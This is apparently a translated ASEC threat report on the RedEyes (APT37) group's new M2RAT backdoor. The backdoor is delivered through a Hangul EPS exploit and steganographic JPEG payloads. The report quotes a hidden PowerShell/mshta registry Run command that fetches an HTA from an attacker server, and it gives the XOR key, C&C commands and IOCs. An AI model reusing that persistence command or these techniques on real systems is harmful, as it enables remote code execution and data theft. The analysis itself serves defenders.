В январе аналитическая группа Центра реагирования на чрезвычайные ситуации в области безопасности ASEC выявила атакующую группу RedEyes (также известную как APT37, ScarCruft), распространяющую вредоносное ПО через корейскую уязвимость EPS (Encapsulated PostScript) (CVE-2017-8291).
RedEyes (ScarCruft) APT
Группа RedEyes известна тем, что нападает на конкретных людей, а не на компании, чтобы украсть не только информацию с персональных компьютеров, но и данные мобильных телефонов. Основными особенностями атак группы RedEyes являются использование уязвимости Hangul EPS и применение стеганографии для распространения вредоносного ПО.
Уязвимость Hangul EPS, используемая в атаке, является старой уязвимостью, которая уже была исправлена в последних версиях текстовых процессоров Hangul. Судя по всему, злоумышленники заранее знали, что цель (частное лицо) использует устаревшую версию корейского текстового процессора, поддерживающего EPS. Известно, что группа RedEyes в прошлом использовала стеганографию для распространения вредоносного ПО. В 2019 году "Касперский" раскрыл информацию о том, что вредоносная программа-загрузчик, используемая группой ScarCruft (RedEyes), использует стеганографию для загрузки дополнительных вредоносных программ.
Мы классифицировали эту атаку как RedEyes из-за использования стеганографии для загрузки вредоносного ПО и сходства инструкции по регистрации ключа RUN реестра для автозапуска для поддержания связи с C&C-сервером (persistence) с формами, использовавшимися в прошлом.
Группа RedEyes также известна использованием Powershell и вредоносного ПО Chinotto для кражи информации о ПК и осуществления удаленного контроля. Однако в этой атаке была обнаружена новая вредоносная программа, выполняющая команды C&C с использованием секций общей памяти, что отличается от вредоносной программы Chinotto.
Группа анализа ASEC назвала новую вредоносную программу M2RAT (Map2RAT) по названию раздела общей памяти.
13 января компания AhnLab Smart Defence (ASD) подтвердила атаку на корейскую уязвимость EPS (CVE-2017-8291) под названием "form.hwp". На момент анализа документ HWP не был собран, но был доступен файл EPS, запускающий уязвимость.
Файлы EPS - это тип формата графических файлов, который использует язык программирования PostScript, созданный компанией Adobe для представления графических изображений. EPS может использоваться для представления высококачественных векторных изображений, а корейские текстовые процессоры поддерживают сторонний модуль (ghostscript) для обработки EPS. Однако из-за растущего числа эксплойтов, таких как APT-атаки с использованием уязвимостей EPS, Hangul и Computer удалили сторонние модули для обработки EPS.
Файл "form.hwp" содержал уязвимый файл EPS (CVE-2017-8291) и когда пользователь просматривает файл документа ("form.hwp"), уязвимость вызывает выполнение шеллкода злоумышленника в стороннем модуле.
Шелл-код загружает файл изображения (JPEG) с сервера злоумышленника (C&C) и расшифровывает закодированный PE-файл внутри файла изображения. Затем он создает PE-файл по пути %temp% и выполняет его.
Код загрузил файл изображения с сервера злоумышленника и выполнил дополнительное вредоносное ПО, т.е. злоумышленник использовал технику стеганографии для встраивания вредоносного ПО в изображение, которая, как считается, используется для уклонения от сетевого обнаружения. Стеганографический файл изображения, использованный злоумышленником, был получен от поставщика изображений для настольных компьютеров под названием "wallup.net".
Файл изображения состоит из легитимного заголовка JPEG, метаданных, необходимых для декодирования PE-файла (ключ XOR, размер файла), и закодированного PE-файла.
Декодирование PE выполняется побайтно с использованием 16-байтового ксорного ключа.
16-байтовый ксорный ключ: FD DD 28 F5 7C 48 8E 7E 0C E0 17 77 35 87 3B 49
(0xFD xor 0xB0) = 0x4D (M)
(0xDD xor 0x87) = 0x5A (Z)
(0x28 xor 0xB8) = 0x90
(0xF5 xor 0xF5) = 0x00
(* MZ - это подпись PE-файла).
Окончательно декодированный PE-файл создается и выполняется с именем lskdjfei.exe по пути %temp%. Функция исполняемого PE-файла заключается в загрузке и внедрении дополнительных вредоносных программ бэкдора (M2RAT) в explorer.exe и добавлении powershell и mshta команд в ключ Run реестра, связанный с автозапуском, для сохранения на сервере злоумышленника.
Выполненный файл lskdjfei.exe регистрирует следующую команду в реестре Run key для поддержания постоянства с сервером злоумышленника.
Путь к ключу реестра: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Имя значения: RyPO
Значение: c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html
Команды, зарегистрированные в ключе Run реестра, похожи на отчет группы ScarCruft (RedEyes).
Зарегистрированный ключ реестра заставляет утилиту Powershell и Windows normal mshta запускаться на хост-компьютере жертвы при каждой загрузке системы. На момент анализа файл "1.html", который mshta загружает с сервера злоумышленника, представляет собой файл HTML-приложения (HTA) с кодом JavaScriprt (JS) внутри.
JS-код выполняет команды Powershell, получая команды с сервера злоумышленника, выполняя их и выдавая результаты.
Powershell добавляет параметр "U" к адресу сервера злоумышленника, передавая имя компьютера и имя пользователя, а сервер злоумышленника BASE64-кодирует команду CMD для выполнения и доставляет ее на хост жертвы. Затем закодированная BASE64-команда декодируется и выполняется Powershell, а результат выполнения команды сохраняется в виде файла по пути %temp%\vnGhazwFiPgQ. Затем он добавляет параметр "R" на сервер злоумышленника и передает результаты выполнения команды в кодировке BASE64.
Конечный исполняемый бэкдор внедряется в файл explorer.exe. Основная функциональность бэкдора заключается в выполнении основных функций вредоносного ПО удаленного управления, таких как кейлоггинг, эксфильтрация данных (документов, аудиофайлов), выполнение/завершение процессов и захват экрана.
Однако новый выявленный бэкдор имеет отличную от ранее известной вредоносной программы Chinotto систему команд и не хранит данные кейлоггинга и записи захвата экрана на системе жертвы, а передает их на сервер злоумышленника, не оставляя следов утечки данных на системе жертвы.
Группа анализа ASEC назвала вновь выявленную вредоносную программу M2RAT (Map2RAT) в честь общей части названия раздела общей памяти, используемого для связи C&C.
- FileInputMap2
- ProcessInputMap2
- CaptureInputMap2
- RawInputMap2
- RegistryModuleInputMap2
- TypingRecordInputMap2
- UsbCheckingInputMap2
Командная система связи C&C M2RAT получает команды от атакующего сервера в виде тела метода POST.
Описания команд C&C
- ОКР Команда, полученная при первом коммуникационном соединении C&C
- URL Изменение значений ключей реестра для обновления C&C
- UPD Обновление текущего подключенного C&C
- RES Прервать соединение C&C (завершение M2RAT)
- UNI Прервать соединение C&C (завершение M2RAT)
- CMD Выполнение команд удаленного управления (keylogging, создание/исполнение процессов и т.д.)
Атакующий сервер M2RAT управляет хостами по MAC-адресу для идентификации хостов-жертв. При заражении M2RAT MAC-адрес кодируется (XOR) с 0x5C и сохраняется в значении "Version" пути реестра "HKCU\Software\OneDriver". Закодированное значение MAC-адреса используется сервером злоумышленника для идентификации узла жертвы.
Путь к ключу реестра: HKCU\Software\OneDriver
Имя значения: Версия
Значение: XOR-кодированное (0x5C) значение MAC-адреса хоста-жертвы.
Результат команд, которые злоумышленник передает хосту-жертве, хранится в папке "_encoded MAC address value_2" на сервере злоумышленника, а файл, которым M2RAT захватывает экран хоста-жертвы, хранится в папке "_encoded MAC address value_cap". (См. Рисунок 12).
Кроме того, M2RAT сохраняет информацию об адресе сервера злоумышленника путем XOR-кодирования с 0x5C в значении "Property" пути ключа реестра, например, MAC-адрес.
Путь к ключу реестра: HKCU\Software\OneDriver
Имя значения: Property
Значение: XOR-кодированный (0x5C) адрес сервера злоумышленника.
В дальнейшем атакующий может передать M2RAT команды "URL" и "UPD" для обновления адреса сервера атакующего (см. таблицу 1). Команда "URL" используется для обновления ключа реестра с новым адресом атакующего, а команда "UPD" используется для изменения адреса сервера атакующего запущенного в данный момент M2RAT.
Удаленное управление M2RAT осуществляется путем получения команд CMD с сервера злоумышленника. В то время как вредоносная программа Chinotto, ранее идентифицированная как используемая группой RedEyes, использовала строку запроса для выполнения команд удаленного управления, M2RAT создает раздел общей памяти для выполнения команд удаленного управления с сервера злоумышленника. Вероятно, это позволяет обойти обнаружение сети путем сокрытия командной информации в теле POST, подобно тому, как злоумышленник использовал технику стеганографии на начальном этапе проникновения.
Команда CMD передается через общую память, и информация об имени раздела памяти выглядит следующим образом.
- RegistryModuleInputMap2 Отправляет результат выполнения дополнительных модулей (например, модуль утечки данных мобильного телефона)
- FileInputMap2 Просмотр (A:\ ~ Z:\) дисковых файлов, создание/запись файлов, чтение файлов, изменение времени файла
- CaptureInputMap2 Захват текущего экрана ПК жертвы
- ProcessInputMap2 Просмотр списка процессов, создание/прекращение процессов
- RawInputMap2 Выполнение процесса с помощью API ShellExectueExW
- TypingRecordInputMap2 Эксфильтрация данных кейлоггинга
- UsbCheckingInputMap2 Утечка USB-данных (hwp,doc,docx,xls,xlsx,ppt,pptx,cell,csv,show,hsdt,mp3,amr,3gp,m4a,txt,png,jpg,jpeg,gif,pdf,eml)
Возможности M2RAT по утечке информации включают захват экрана хоста жертвы, информацию о процессах, кейлоггинг и утечку данных (документов, аудиофайлов). В случае захвата экрана, даже если атакующий не отдает команды, он периодически захватывается и отправляется на сервер атакующего, а сервер хранит его как "result_[number]" в папке "_encoded MAC address value_cap".
Вся остальная информация об эксфильтрации данных хранится в папке "_encoded MAC address value_2" на веб-сервере злоумышленника.
В частности, если на съемных дисках или в общих папках находятся конфиденциальные документы и диктофонные записи, скопируйте файлы по пути %TEMP%, сожмите их паролем с помощью Winrar (RAR.exe) и отправьте результаты на сервер злоумышленника.
Путь к папке копирования данных: %Temp%\Y_%m_%d_%H_%M_%S // (например, %TEMP%\year_month_day _hour_minute_second).
Расширения файлов: hwp,doc,docx,xls,xlsx,ppt,pptx,cell,csv,show,hsdt,mp3,amr,3gp,m4a,txt,png,jpg,jpeg,gif,pdf,eml
Indicators of Compromise
MD5
- 4488c709970833b5043c0b0ea2ec9fa9
- 7bab405fbc6af65680443ae95c30595d
- 7f5a72be826ea2fe5f11a16da0178e54
- 8b666fc04af6de45c804d973583c76e0
- 9083c1ff01ad8fabbcd8af1b63b77e66
- 93c66ee424daf4c5590e21182592672e